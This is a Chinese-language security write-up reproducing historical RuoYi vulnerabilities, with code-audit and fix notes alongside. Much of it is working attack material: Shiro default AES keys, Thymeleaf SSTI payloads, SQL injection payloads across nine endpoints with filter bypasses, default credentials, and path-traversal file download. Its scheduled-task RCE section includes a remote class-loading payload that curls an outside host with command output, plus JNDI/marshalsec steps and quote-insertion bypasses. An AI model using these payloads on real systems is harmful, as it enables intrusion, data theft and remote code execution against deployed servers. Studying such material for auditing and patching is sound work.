RuoYi历史漏洞

1.开发测试环境搭建(审计环境)

1.1.开发环境

  1. RuiYi历史版本下载地址
  2. 安装IDEA
  3. 配置Maven
  4. 安装Mysql

​ 创建数据库ry

image-20240102211157235

​ 运行下载源码中的sql

image-20240102211404884

image-20240102211529758

获得如下表

image-20240102211631892

  • 修改连接数据库的用户名密码、路径

image-20240116221001885

  • 启动redis

  • 运行环境

1.2.linux生产环境

  • 文件路径更改为linux的文件上传路径(任意)

image-20240116221420578

  • 使用Maven插件打包为jar

image-20240116221151083

  • ruoyi-admin.jar移至linux环境

image-20240116221533455

  • 使用命令java -jar ruoyi-admin.jar前台运行程序,或者使用命令 nohup java -jar ruoyi-admin.jar >log.txt 2>&1 & 后台运行
  • 访问地址:80端口即可。

2.历史漏洞

2.1. Shiro反序列化(RuoYi<V-4.6.2)

  • 该漏洞原理简单来说就是Shiro将用户认证信息存储到remeberme字段中,后端读取该字段是将该字段在服务器反序列化并通过可利用的gadget实现RCE漏洞。虽然shiro使用了AES加密remeberme字段信息,但是由于shiro-1.2.4版本在依赖jar中硬编码该密钥,因此使用shiro-1.2.4版本的系统则可以通过该密钥解密remeberme字段数据,在remeberme字段中写入恶意的类,让系统在后端反序列化过程中执行,这就是shiro550漏洞的原理。

image-20240112230122343

  • 而ruoyi使用的shiro的高版本,可以自定义密钥,但是由于开发者安全意识不强,在使用ruoyi开发框架时并未更改ruoyi代码中默认的密钥,这同样会导致shiro反序列化漏洞。

2.1.1.漏洞复现(RuoYi V-4.2)

  • 下载漏洞利用工具github仓库地址
  • 使用命令java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar启动工具
  • 初步目标探测

image-20240112232106810

  • RuoYi-4.2版本使用的是shiro-1.4.2在该版本和该版本之后都需要勾选AES GCM模式。
  • 获取利用连,可爆破可指定
  • RuoYi-4.2可用利用链为CommonsBeanutilString 这条链

image-20240112233448835

  • 发现利用链后可执行执行命令

image-20240112233543419

2.1.2.RuoYi各版本的AES默认密钥

RuoYi 版本号 对象版本的默认AES密钥
4.6.1-4.3.1 zSyK5Kp6PZAAjlT+eeNMlg==
3.4-及以下 fCq+/xW488hMTCD+cmJ3aQ==
  • 4.2版本及以上需要使用GCM模式
  • RuoYi-4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此4.6.2版本以后,在没有获取到密钥的请情况下无法再进行利用。

image-20240112233956943

2.2.SSTI(模板注入)漏洞 (仅适用V-4.7.1)

2.2.1.分析

  • 在RuoYi的ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor\CacheController.javaruoyi-admin\src\main\java\com\ruoyi\web\controller\demo\controller\DemoFormController.java下存在可控的return字段,且由于RuoYi使用的是thymeleaf视图渲染组件,因此可进行SSTI模板注入
  • 其中可注入的接口包 括/getNames/getKeys/getValue/localrefresh/task接口满足条件。
    • PostMapping注解控制,会在view中进行解析(或者GetMapping)。
    • return 值可控(或者url可控)
  • 可以通过在http://localhost/monitor/cache视图下点击按钮抓包,也可直接构包(该接口需要有效cookie)

image-20240114212300362

  • 构建fragment参数payload,由于系统未对fragment参数做任何处理就进行返回,因此我们可以直接插入thymeleaf表达式,使用’${}注入执行表达式,T()访问java类和静态访问。因此构建payload:
  • ${T(java.lang.Runtime).getRuntime().exec(“calc.exe”)}
  • 由于thymeleaf高版本对T()进行了一些限制,不过可通过在T(增加空格的办法进行绕过。
  • ${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)} 增加空格

2.2.2.漏洞复现

2.2.2.1.接口/monitor/cache/getName

  • 构包,接口 /monitor/cache/getName (需要有效的身份Cookie)
  • 注入cacheName不能为空

image-20240114220457657

  • bady: cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}
  • 四个接口的攻击方式一致,payload一致

2.2.2.2.接口/monitor/cache/getKeys

image-20240114220929430

2.2.2.3.接口/monitor/cache/getValue

image-20240114221050197

2.2.2.4.接口/demo/form/localrefresh/task

image-20240115110423765

2.2.3.修复(V-4.7.2)

  • 在RuoYi-4.7.2版本中,使用了thymeleaf版本3.0.14.RELEASE已无法再进行注入。
  • pom.xml

image-20240118175525503

2.3.Sql注入

2.3.1.注入点1 /role/list接口 (<V-4.6.2)

2.3.1.1.验证payload

  • 该接口原包

image-20240109233519668

  • 可用报错注入查询用户 payload: &params[dataScope]=and extractvalue(1,concat(0x7e,substring((select user()),1,32),0x7e))
  • 报错查询数据库 payload: &params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240109233653454

  • 空参构造包发包

image-20240110221605597

  • 时间盲注查询用户payload: &params[dataScope]=and if(substring((select user()),1,4)=’root’,sleep(0.5),1)
  • 由于后台执行了两次该sql语句因此设置sleep(0.5)实际执行时间为1秒image-20240109234542236

2.3.1.2.代码审计(V-4.2)

  • 正向路径调用
  • ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysRoleController.java

image-20240109235616907

  • 我们先查看SysRole类是否可接受该dataScope

  • ruoyi-system\src\main\java\com\ruoyi\system\domain\SysRole.java

  • 在这个SysRole中我们并没有看到定义dataScope的属性

image-20240109235937030

  • 其实这个值是继承自BaseEntity

image-20240110000039462

  • 我们从BaseEntity中可以看到定义了一个HashMap可接收键值对,因此我们才能注入参数 params[dataScope]

image-20240110000237240

image-20240110000416594

  • 我们再重新回到controller的调用逻辑,可以看到调用了服务层的roleService.selectRoleList方法

image-20240110000539099

  • 继续跟进到服务层

  • ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysRoleServiceImpl.java

  • 持久层roleMapper调用selectRoleList方法

image-20240110001010198

  • 最后再跟进到Mapper配置文件
  • ruoyi-system\src\main\resources\mapper\system\SysRoleMapper.xml
  • 可以看到这里使用了${}危险参数注入方式,相当与参数拼接,因此在这必定存在SQL注入。

image-20240110001451910

  • 我们通过发送payload看一下具体执行的是什么样的sql语句

image-20240110002001707

完整SQL语句:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
SELECT
count( 0 )
FROM
(
SELECT DISTINCT
r.role_id,
r.role_name,
r.role_key,
r.role_sort,
r.data_scope,
r.STATUS,
r.del_flag,
r.create_time,
r.remark
FROM
sys_role r
LEFT JOIN sys_user_role ur ON ur.role_id = r.role_id
LEFT JOIN sys_user u ON u.user_id = ur.user_id
LEFT JOIN sys_dept d ON u.dept_id = d.dept_id
WHERE
r.del_flag = '0'
AND extractvalue (
1,
concat( 0x7e, substring(( SELECT USER ()), 1, 32 ), 0x7e ))) table_count
  • 可以看到红色标记部分即为我们注入的 params[dataScope] 参数

image-20240110002316983

2.3.1.2.代码审计修复(V-4.6.2)

  • 通过对ruoyi历史版本的分析,发现在4.6.2版本中对datascope进行了参数过滤。
  • 具体代码位置为

image-20240110212513797

image-20240110213203532

  • 我来大致解释一下代码逻辑:

    1. @Pointcut(“@annotation(com.ruoyi.common.annotation.DataScope)”) 这行代码定义了一个名为 dataScopePointCut 的切点,这个切点指向了所有使用了 @DataScope 注解的方法。切面代码会在每个使用了 @DataScope 注解的方法执行前、执行后或者执行前后
    2. @Before(“dataScopePointCut()”) 这行代码定义了一个前置通知,这个通知会在每个 dataScopePointCut 切点指向的方法执行前运行。
    3. doBefore方法中定义了一个情况 dataScope 值的逻辑,以此来防止SQL注入。
  • 从下面可以看到,selectRoleList 方法定义了 @DataScope 注解,因此必定会执行SQL过滤。

image-20240110213347805

  • 所以该SQL注入点适用范围仅为<4.6.2版本的Ruoyi。

2.3.2.注入点2 /role/export (<V-4.6.2)

2.3.1.1.代码审计(V-4.2)

  • 之前我们使用的正向调用溯源的方法,这次我们从发生注入点${}的位置逆向分析。

  • 下图是上一个接口发生注入的位置,如图,我们分析一下看是否还有其他调用了该SQL的接口。

image-20240110214844423

  • 通过全局搜索发现只有SysRoleServiceImplselectRoleList方法调用了该接口,那么我们再看,有哪些controller调用了该方法。

image-20240110215616183

  • 通过对接口分析发现总共有三个controller注入了该服务

image-20240110220337011

  • 但我们直接全全局搜索该方法调用,发现其实只有两个位置调用了该方法。

image-20240110220502713

  • 一个是我上一个注入接口,这次我们来分析一下/export这个接口,这个接口同样也接收一个SysRole 对象。
  • 因此我们直接抓包,或者直接构造包,进行注入。

2.3.1.1.验证payload

  • 接口触发位置

image-20240110215326470

  • 原包

image-20240110221054529

  • 添加payload: &params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
  • 其他payload,请看上个接口,payload均一致

image-20240110221233223

  • 也可以不用抓包,直接构包发包也可以

image-20240110221334701

  • 后台执行SQL语句和修改方式与上一个接口一致

2.3.3.注入点3 /user/list (<V-4.6.2)

2.3.3.1.验证payload

  • 原包

image-20240110223054101

  • 抓包注入payload: &params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240110223156606

  • 构包注入

image-20240110223247244

2.3.3.2.代码审计(V-4.2)

  • 同理该SQL注入漏洞产生原因和上面两个接口一致,不过这次是由于selectUserList的配置xml使用了${}进行参数注入导致。
  • 若要分析具体逻辑请参照上一注入点
  • ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysUserController.java

image-20240110223713656

  • ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysUserServiceImpl.java

image-20240110232036661

  • ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml

image-20240110223637791

  • 同样该漏洞修复与适用版本与之前role接口一致

2.3.4.注入点4 /user/list (<V-4.6.2)

2.3.4.1.验证payload

  • 原包

image-20240110224047799

  • 验证payload: &params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240110224215311

  • 构包注入

image-20240110224248636

2.3.4.2.代码审计(V-4.2)

  • 与上一个接口一致

2.3.5.注入点5 /dept/list (<V-4.6.2)

2.3.5.1.验证payload

  • 原包

image-20240110230509115

  • 如果抓到包和我一样没有Content-Type注意添加POC时一定要加上

  • Content-Type: application/x-www-form-urlencoded; charset=UTF-8

  • 否则后端无法识别请求体类型,那么参数就无法注入。

  • POC: &params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240110230804392

2.3.5.2.代码审计(V-4.2)

  • controller接口
  • ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysDeptController.java

image-20240110231201146

  • ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysDeptServiceImpl.java

image-20240110231739124

  • \ruoyi-system\src\main\resources\mapper\system\SysDeptMapper.xml

image-20240110231244002

  • 执行SQL代码为
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SELECT
d.dept_id,
d.parent_id,
d.ancestors,
d.dept_name,
d.order_num,
d.leader,
d.phone,
d.email,
d.STATUS,
d.del_flag,
d.create_by,
d.create_time
FROM
sys_dept d
WHERE
d.del_flag = '0'
AND extractvalue (
1,
concat( 0x7e,( SELECT DATABASE ()), 0x7e ))
ORDER BY
d.parent_id,
d.order_num

image-20240110231822042

2.3.6.注入点5 /role/authUser/allocatedList (<V-4.6.2)

2.3.6.1.验证payload

  • 抓包 点击角色管理中的更多操作-分配用户即可发送该包,(第二个包)

image-20240110234445789

  • 原包

image-20240110234628554

  • 攻击POC: &params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240110234757690

  • 构包注入

image-20240110234840534

2.3.6.2.代码审计 (V-4.2)

  • 接口
  • ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysRoleController.java

image-20240110235014951

  • ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysUserServiceImpl.java

image-20240110235103227

  • ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml

image-20240110235141931

  • 执行的SQL语句
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
SELECT DISTINCT
u.user_id,
u.dept_id,
u.login_name,
u.user_name,
u.user_type,
u.email,
u.avatar,
u.phonenumber,
u.STATUS,
u.create_time
FROM
sys_user u
LEFT JOIN sys_dept d ON u.dept_id = d.dept_id
LEFT JOIN sys_user_role ur ON u.user_id = ur.user_id
LEFT JOIN sys_role r ON r.role_id = ur.role_id
WHERE
u.del_flag = '0'
AND r.role_id = '0'
AND extractvalue (1,concat(0x7e,(SELECT DATABASE ()), 0x7e))

image-20240110235846183

2.3.7.注入点7 /role/authUser/unallocatedList

2.3.7.1.验证payload

  • 触发点,在上一个接口的分配用户页面下点击添加用户按钮(第二个包)

image-20240111000612468

  • 原包

image-20240111000645822

  • 验证POC: &params%5BdataScope%5D=and extractvalue(1,concat(0x7e,(select database()),0x7e))

image-20240111000817125

  • 构包验证

image-20240111000907315

2.3.7.2.代码审计 (V-4.2)

  • ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysRoleController.java

image-20240111001059093

  • ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysUserServiceImpl.java

image-20240111001132264

  • ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml

image-20240111001207712

  • 执行SQL语句
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
SELECT DISTINCT
u.user_id,
u.dept_id,
u.login_name,
u.user_name,
u.user_type,
u.email,
u.avatar,
u.phonenumber,
u.STATUS,
u.create_time
FROM
sys_user u
LEFT JOIN sys_dept d ON u.dept_id = d.dept_id
LEFT JOIN sys_user_role ur ON u.user_id = ur.user_id
LEFT JOIN sys_role r ON r.role_id = ur.role_id
WHERE
u.del_flag = '0'
AND ( r.role_id != '0' OR r.role_id IS NULL )
AND u.user_id NOT IN (
SELECT
u.user_id
FROM
sys_user u
INNER JOIN sys_user_role ur ON u.user_id = ur.user_id
AND ur.role_id = '0')
AND extractvalue (
1,
concat( 0x7e,( SELECT DATABASE ()), 0x7e ))

image-20240111001406029

2.3.8.注入点8 /dept/edit (<V-4.6.2)

2.3.8.1.验证payload

  • 原包

image-20240110233834281

  • 攻击POC:DeptName=xxxxxxxxxxx&DeptId=100&ParentId=555&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));#

  • DeptName为任意不存在的名称,DeptId为数据库中存在ID,ParentId为任意数字,其余参数固定

image-20240111004643406

其中 ancestors注入参数不能超过50个字符。

  • 我们还可以时间盲注POC: &ancestors=0)or(sleep(1));# , 时间比例为1:10

image-20240111005546551

2.3.8.2.代码审计(V-4.2)

  • 接口
  • ruoyi-admin\src\main\java\com\ruoyi\web\controller\system\SysDeptController.java

image-20240111005722259

  • ruoyi-system\src\main\java\com\ruoyi\system\service\impl\SysDeptServiceImpl.java

image-20240111005809250

image-20240111010106515

  • ruoyi-system\src\main\resources\mapper\system\SysDeptMapper.xml

image-20240111005845079

  • 注入点在updateDeptStatus SQL中的 where dept_id in (${ancestors}) 这条语句中,因此我们需要其执行deptMapper.updateDeptStatus() 方法
  • 这个方法是又由updateParentDeptStatus方法调用
  • 再到updateParentDeptStatus方法中。因此我们得出一下结论

image-20240111010433521

image-20240111010509843

  • 因此我们传入得Status必须为 0否则无法执行到updateParentDeptStatus方法

  • 再重新回到controller方法中

image-20240111011111274

  • 因此通过controller方法我们要执行到我们得注入点,必须满足上级部门不能是自己,即 DeptId不等于ParentId,以及部门名称不能是已经存在得部门名称,即DeptName定义参数数据库中不存在

  • 且我们通过SysDept定义得对象实体中知orderNum的值不能为空

  • com/ruoyi/system/domain/SysDept.java

image-20240111011451879

  • sql\ry_20200323.sql
  • 由于ancestors的值为varchar(50),因此输入的字符串长度不能超过50个字符

image-20240111014745789

  • 总结所有条件得出payload:
    1. Status必须为 0,即Status=0
    2. 上级部门不能是自己,即DeptId!=ParentId
    3. 部门名称不能是已经存在得部门名称,即DeptName定义参数数据库中不存在
    4. orderNum的值不能为空,即orderNum != ''
    5. ancestors字符长度小于50
    6. 附加:由于是edit,因此接口DeptId必须是数据库中能查到的部门ID

eg: DeptName=xxxxxxxxxxx&DeptId=100&ParentId=99999&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));#

  • 执行SQL
1
2
3
4
5
6
7
8
9
10
11
12
13
UPDATE sys_dept 
SET STATUS = '0',
update_by = '1',
update_time = sysdate()
WHERE
dept_id IN ( 0 )
OR (
extractvalue (
1,
concat(
0,(
SELECT USER
()))));#)

image-20240111013903364

2.3.8.3. 代码审计 修复(V-4.6.1:V-4.6.2)

  • 通过对比两个版本的代码发现V-4.6.2已不再使用该SQL。

image-20240111013244679

2.3.9.注入点9 /tool/gen/createTable(V-4.7.1-V-4.7.5)

2.3.9.1.代码审计+漏洞复现(V-4.7.1)

  • 从4.7.1版本开始,ruoyi添加了一个新接口,可以执行建表语句,但由于过滤不严谨导致,用户可注入其他的sql语句导致sql注入漏洞。

  • 接口路径ruoyi-generator\src\main\java\com\ruoyi\generator\controller\GenController.java

  • 代码使用com.alibaba.druid.sql.dialect.mysql.ast.statement.MySqlCreateTableStatement来判断,用户输入sql语句是否为建表语句,如果不是建表语句则抛出异常,并返回。

  • 因此我们可以通过先输入一个建表语句,然后我们可以使用as拼接其他的sql语句,毕竟可以直接传入sql语句,注入的方式非常灵活绕过检测。

  • eg:

1
2
3
sql=CREATE table a1 as SELECT extractvalue(1,concat(0x7e,(select database()),0x7e));

sql=CREATE table a1 as SELECT * FROM sys_user WHERE 1=1 union SELECT extractvalue(1,concat(0x7e,(select database()),0x7e));

image-20240116112311603

  • 抓包功能点页面位置

  • payload: CREATE table a4 as select extractvalue(1,concat(0x7e,(select database()), 0x7e));

image-20240116123542452

  • 使用as重命名表的方式来添加select语句,需要注意的是a4为创建的表名,因此a4必须自定义的一个不存在的表名

image-20240116123159697

2.3.9.1.代码审计+漏洞复现(V-4.7.2-V-4.7.5)

  • 在更高版本的建表接口中,RuoYi作者加入了对该接口sql注入关键词过滤的操作。

image-20240116130148107

  • 代码如下
  • ruoyi-generator\src\main\java\com\ruoyi\generator\controller\GenController.java

image-20240116125047537

  • ruoyi-common\src\main\java\com\ruoyi\common\utils\sql\SqlUtil.java

image-20240116125209339

image-20240116125337012

  • 系统将用户传入的sql语句通过StringUtils.split()方法分割为一个一个的sql关键字。
  • 绕过思路:但是StringUtils.split()方法是通过空格来分割关键字的,而我们如果输入’select/**/version()’,StringUtils.split()方法则不会分割该字符串,但是数据库却能正确的识别该sql语句,因为/**/或被数据库识别为注释从而忽略掉,以此来绕过,sql语句的检测。
  • 因此在4.7.2及高版本中我们可以更改payload为:
  • sql=CREATE table a1 as SELECT/**/extractvalue(1,concat(0x7e,(select/**/database()),0x7e));

image-20240116130319315

2.3.10.总结

  • 网上有很多关于关于RuoYi,SQL注入适用版本的说法,然后根据我对已知出现的所有RuoYI的SQL注入进行分析发现其实,可进行SQL注入的版本就是<V-4.6.2,那么就可以进行注入,当然前提是在没有自行修复SQL注入的情况下。
  • 还有进行总共*个注入点中有七个都是参数DataScope参数造成的,其中只有一个是ancestors参数造成的,而且ancestors还存在50个字符的长度限制,还有一个是可直接传入sql语句进行注入操作。
    • User接口2个注入点
    • Role接口4个注入点
    • Dept接口2个注入点(含一个ancestors注入)
    • Tool接口1个注入点

2.4.默认口令(全版本)

  1. 很多时候开发人员的安全意识不足,可能存在未修改管理员密码的情况这样我们就能利用RuoYi的默认口令,进行登陆。
  2. 不过在大多数情况下,开发者通常都会修改超级管理员的密码,而普通用户ry则可能忘记删除。
  3. RuoYi默认口令:admin/admin123、ry/admin123。
  4. druid控制台:ruoyi/123456

2.5.任意文件下载(目前所有版本V-4.7.8)

2.5.1.简介

  • 该漏洞是由于在RuoYi低版本文件下载接口 /common/download/resource 中未对输入的路径做限制,导致可下载任意文件。

2.5.2.代码审计(V-4.2)

  • 接口位置
  • com/ruoyi/web/controller/common/CommonController.java

image-20240115123633799

  • 文件下载默认路径ruoyi-admin\src\main\resources\application.yml
  • D:/ruoyi/uploadPath

image-20240115122914585

  • 路径前缀(即接收输入参数路径的前缀)

image-20240115123503151

  • 且该类不存在接口前缀,因此接口即为 /common/download/resource

image-20240115123813393

  • 添加请求参数rousource=/profile/1.txt

2.5.3.漏洞复现(<V-4.5.1)

2.5.3.1.Windows开发环境

  • 为了测试我们在WEB文件磁盘的根目录下创建如下两个文件

image-20240115124135619

  • 这次我们postman进行测试
  • 先登陆获取到cookie

image-20240115124246088

  • 在postman,cookie管理器中添加cookie

image-20240115124321389

image-20240115124541648

  • 请求JPG文件,如图,可通过Save Response将图片保存下来查看

image-20240115124627023

  • 保存为对应的jpg格式即可打开查看

image-20240115124807794

2.5.3.2.linux生产环境

  • 打包到linux环境时需要修改配置文件中的默认文件路径

  • /home/ruoyi/uploadPath

  • 获取到linux环境下的cookie

image-20240115125152680

  • /common/download/resource?resource=/profile/../../../../../../etc/passwd
  • 在postman中更改cookie值

image-20240115200214224

2.5.3.3.修复(V-4.5.1)

  • 在V-4.5.1版本之后会对用户输入的rousource路径进行过滤,不允许包含..和校验不允许的文件下载类型
  • ruoyi-common\src\main\java\com\ruoyi\common\utils\file\FileUtils.java

image-20240115201459512

  • ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java

image-20240115201523403

2.5.4.定时任务绕过思路(目前所有版本V-4.7.8)

2.5.4.1.代码审计

  • 在RuoYi定时任务中可以设置全局环境变量,而资源下载路径,也属于全局变量的范围,因此我们可以通过定时任务修改全局变量中的默认资源下载路径。
  • 以此来绕过必须使用resource来下载资源文件的方式。
  • ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java

image-20240116212822157

  • 例如我们可以添加一个定时任务,任务为 ruoYiConfig.setProfile(‘C://windows/win.ini’) ,也就是将默认下载资源路径更改为该路径,如此resource再输入任意可通过文件类型检测,且不存在前缀路径即可直接下载该文件。

  • 具体思路入下

      1. 调用定时任务 ruoYiConfig.setProfile(‘C://windows/win.ini’)

      2. 调用接口resource=.jpg ,其中resource的值为任意不包含前缀/profile,且文件类型检测中存在的文件类型(输入的resouce值会直接被清空,下载的实际路径则会变成 String localPath = RuoYiConfig.getProfile() 的值)。

        image-20240116213835954

      3. 系统则调用 FileUtils.setAttachmentResponseHeader(response, downloadName) 下载系统文件

  • ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java

image-20240116213548324

2.5.4.2.绕过复现

  • 添加定时任务
    • ruoYiConfig.setProfile(‘C://windows/win.ini’)
    • 0/10 * * * * ?

image-20240116214455049

  • 请求包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /monitor/job/add HTTP/1.1

Host: 192.168.31.246

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 158

Origin: http://192.168.31.246

Connection: close

Referer: http://192.168.31.246/monitor/job/add

Cookie: JSESSIONID=ac631b0e-b929-4497-b477-52fca9a24bf2



createBy=admin&jobName=AAA&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('C://windows/win.ini')&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=2&concurrent=1&status=0&remark=
  • 执行任务

image-20240116214632641

image-20240116214655603

image-20240116214825739

-

image-20240116214929066

  • linux系统复现流程相同,不再重复

2.6.定时任务远程RCE(<V-4.7.2)

需要注意的是由于是从远程加载类,通常只加载一次后,就会缓存该类,之后不会再加载,因此若在测试过程中,命令没有执行成功,可重新创建定时任务,更换端口等操作多次尝试。

2.6.1.SnakeYaml 反序列化

2.6.1.1.简介

  • 通常只要引用了Snakeyaml包的几乎都可进行反序列化

  • 可查看代码是否调用 new Yaml();

image-20240115215349968

2.6.1.2.漏洞复现(V-4.2)

  • 下载yaml反序列化payload工具

    • 该工具是通过org.yaml.snakeyaml.Yaml类来加载远程的类,通过远程类重写AwesomeScriptEngineFactory类,以此来达到执行远程恶意命令的目的。
  • 下载完工具后将src/artsploit/AwesomeScriptEngineFactory.java文件中的Runtime执行语句改为你要执行的命令

image-20240115221453628

  • eg: curl http://192.168.31.246:7000?CMDEcho=$(whoami)
  • 地址为启动任意启动的http服务,或者dnslog都可(主要用于命令回显)
  • 除此之外,我们需要使用$()命令替换,用于命令回显,因此我们改写一下命令执行函数。
  • 改写方法如图

image-20240116013237130

1
2
3
4
5
6
String[] cmd = {
"/bin/bash",
"-c",
"curl http://192.168.31.246:7000?echo=$(whoami)"
};
Runtime.getRuntime().exec(cmd);
  • 在工具根目录 编写yaml-payload.yml文件

    1
    2
    3
    4
    5
    !!javax.script.ScriptEngineManager [  
    !!java.net.URLClassLoader [[
    !!java.net.URL ["http://192.168.31.246:8000/yaml-payload.jar"]
    ]]
    ]
  • 使用JAVA编译该文件,并且打包为jar,命令如下

1
2
$ javac src/artsploit/AwesomeScriptEngineFactory.java
$ jar -cvf yaml-payload.jar -C src/ .
  • 然后在该位置使用python开启http服务,用于远程加载该jar文件

image-20240115221854490

  • 添加定时任务加载jar包
  • 目标字符串org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://192.168.31.246:8000/yaml-payload.jar"]]]]‘)
  • cron表达式0/10 * * * * ?

image-20240115222034940

  • 定时任务请求包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /monitor/job/edit HTTP/1.1

Host: 192.168.31.209

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 340

Origin: http://192.168.31.209

Connection: close

Referer: http://192.168.31.209/monitor/job/edit/112

Cookie: JSESSIONID=8fb6fb64-75c1-47ca-a145-0b7dd67ec5a2



jobId=112&updateBy=admin&jobName=RCE12&jobGroup=DEFAULT&invokeTarget=org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager+%5B!!java.net.URLClassLoader+%5B%5B!!java.net.URL+%5B%22http%3A%2F%2F192.168.31.246%3A8000%2Fyaml-payload.jar%22%5D%5D%5D%5D')&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=2&concurrent=1&status=1&remark=
  • 创建任务后点击执行

image-20240115222253678

  • 回显结果如图

image-20240115231137475

2.6.2.JNDI注入

2.6.2.1.简介

  • 通过JNDI远程加载恶意类

  • 这次我们使用windows开发环境进行测试

  • 其次JNDI注入只在低版本JAVA中适用(小于以下版本可用)

JDK6 JDK7 JDK8 JDK11
RMI不可用 6u132 7u122 8u113
LDAP不可用 6u221 7u201 8u119 11.0.1
  • 本次我们不再通过命令回显的方式进行测试,而是通过直接在windows中弹出计算器进行测试

2.6.2.2.漏洞复现(V-4.2)

  • 先编译要执行的恶意类
  • javac Calc.java
1
2
3
4
5
6
7
8
9
10
11
12
public class Calc{
public Calc(){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Calc c = new Calc();
}
}
  • 将Calc.class文件通过python服务暴露python -m http.server 6000

image-20240116003509091

  • 使用marshalsec工具启动一个RMI服务,链接类指向我们公开的端口下载marshalsec,需要自行编译,或者下载别人已经编译好的jar包
RMI注入

image-20240116003914112

  • 添加一个定时任务通过lookup函数加载远程类
    • 目标字符串:org.springframework.jndi.JndiLocatorDelegate.lookup(‘rmi://192.168.10.129:8888/Calc’)
    • cron表达式:0/10 * * * * ?

image-20240116004613262

  • 点击执行任务,弹出计算器,测试成功。

image-20240116004401648

LDAP注入
  • 启动ldap服务

  • java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://192.168.10.129:6000/#Calc“ 8888

  • 添加一个定时任务通过lookup函数加载远程类

    • 目标字符串:javax.naming.InitialContext.lookup(‘ldap://192.168.10.129:8888/#Calc’)

    • cron表达式:0/10 * * * * ?

  • 点击执行,弹出计算器,测试成功

image-20240116004958364

2.6.3.高版本绕过策略(V-4.6.2-V-4.7.1)

  • 在V-4.6.2-V-4.7.1版本中RuoYi添加了对ldaprmi以及http字符串的过滤
  • ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java

image-20240116005923125

image-20240116005902002

  • 但是可通过添加”‘“的方式来绕过。

  • 例如http就可以改为ht’tp,rmi可以改为r’mi,ldap改为l’dap,以此来绕过字符串检测

  • 没添加”‘“绕过

image-20240116010415260

  • 添加”‘“绕过,只需要在协议字符串中间添加一个“’”即可,那么所有目标调用字符串可更改为

    • rmi: org.springframework.jndi.JndiLocatorDelegate.lookup(‘r’mi://192.168.10.129:8888/Calc’)
    • ldap: javax.naming.InitialContext.lookup(‘ld’ap://192.168.10.129:8888/#Calc’)
    • SnakeYaml: org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“ht’tp://192.168.31.246:8000/yaml-payload.jar”]]]]’)
  • 测试通过,命令执行成功

2.6.4.修复(V-4.7.2)

  • 直接对定时任务调用的类进行黑马名单限制
  • ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java

image-20240117221819889

  • E:\Projects\JAVA\RuoYi\RuoYi-v4.7.5\ruoyi-common\src\main\java\com\ruoyi\common\constant\Constants.java

image-20240117222006176